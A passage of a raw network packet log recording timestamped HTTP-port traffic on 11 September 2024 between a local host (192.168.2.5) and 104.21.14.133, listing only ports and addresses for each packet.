Sep 11, 2024 18:23:48.019346952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.019354105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.019361973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.019366026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.019371986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.019376040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.019406080 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.019406080 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.019406080 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.019424915 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.019582987 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.019587040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.019589901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.019648075 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.019689083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.019695044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.019697905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.019702911 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.019712925 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.019716978 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.019721031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.019726992 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.019731045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.019736052 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.019742966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.019747019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.019756079 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.019762039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.019764900 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.019769907 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.020339012 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.020343065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.020349026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.020354986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.020363092 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.020366907 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.020370007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.020375013 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.020378113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.020382881 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.020389080 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.020409107 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.020409107 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.020409107 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.020590067 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.020760059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.020765066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.020768881 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.020775080 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.020785093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.020790100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.020795107 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.020798922 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.020803928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.020809889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.020818949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.020823002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.020828009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.020831108 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.020834923 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.020840883 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.020847082 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.020850897 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.020855904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.020864010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.020868063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.020873070 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.020912886 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.020912886 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.020912886 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.020912886 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.021672964 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.021678925 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.021682978 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.021687984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.021693945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.021698952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.021703959 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.021708012 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.021713972 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.021718025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.021723032 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.021728992 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.021733046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.021738052 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.021749973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.021753073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.021758080 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.021763086 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.021768093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.021789074 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.021789074 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.021789074 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.021789074 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.021840096 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.022772074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.022814035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.022819042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.022835016 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.022878885 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.023056030 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.023060083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.023063898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.023067951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.023077011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.023381948 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.024409056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.024414062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.024416924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.024512053 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.024521112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.024525881 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.024530888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.024533987 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.024538040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.024730921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.024734974 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.024739027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.024744987 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.024754047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.024758101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.024760962 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.024760962 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.024764061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.024769068 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.024772882 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.024779081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.024782896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.024786949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.024792910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.024804115 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.024868011 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.025100946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.025105000 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.025109053 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.025115013 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.025124073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.025127888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.025132895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.025135994 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.025140047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.025146008 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.025151014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.025337934 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.025337934 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.025506020 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.025511980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.025515079 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.025520086 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.025530100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.025533915 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.025537968 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.025541067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.025546074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.025551081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.025556087 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.025738001 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.025738001 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.025799990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.025804043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.025808096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.025814056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.025823116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.025827885 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.025832891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.025836945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.025840998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.025846958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.025850058 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.025917053 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.025917053 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.025917053 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.026740074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.026746035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.026762009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.026767969 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.026776075 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.026779890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.026784897 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.026787996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.026793003 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.026989937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.026993990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.026998043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.027000904 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.027000904 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.027004004 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.027008057 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.027013063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.027017117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.027199030 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.027245045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.027250051 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.027254105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.027260065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.027267933 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.027271986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.027276039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.027278900 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.027282953 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.027288914 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.027292013 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.027296066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.027307987 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.027312040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.027314901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.027318954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.027414083 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.027414083 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.027414083 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.027761936 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.027765989 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.027770042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.027776003 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.027784109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.027789116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.027793884 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.027796984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.027801991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.027806997 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.028068066 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.028068066 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.429610968 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.429620981 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.429627895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.429641008 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.429645061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.429649115 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.429734945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.429738998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.429744005 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.429749012 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.429752111 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.429753065 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.429753065 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.429757118 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.429797888 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.429799080 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.430074930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.430079937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.430083990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.430094004 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.430098057 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.430102110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.430109024 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.430113077 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.430123091 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.430128098 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.430130959 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.430149078 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.430170059 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.430465937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.430470943 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.430476904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.430488110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.430490971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.430495977 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.430507898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.430512905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.430516005 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.430521011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.430529118 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.430581093 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.430581093 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.430581093 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.430581093 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.430912018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.430916071 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.430919886 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.430924892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.430931091 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.430933952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.430938005 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.430943012 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.430947065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.430953026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.430953026 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.430958986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.430963039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.430967093 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.431005955 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.431015968 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.431107044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.431113958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.431154966 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.431555033 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.431560040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.431564093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.431574106 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.431577921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.431581020 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.431586981 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.431591034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.431595087 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.431603909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.431607962 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.431611061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.431621075 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.431623936 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.431629896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.431636095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.431639910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.431649923 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.431655884 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.431659937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.431664944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.431674957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.431675911 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.431675911 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.431677103 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.431679964 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.431684971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.431704998 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.431721926 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.431761980 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.432456017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.432462931 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.432466984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.432476044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.432533979 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:48.432630062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.432637930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.432641029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.432645082 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.432650089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.432653904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.432658911 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.432663918 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.432673931 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.432677984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.432682991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.432687044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:48.432691097 CEST	80	49710	104.21.14.133	192.168.2.5
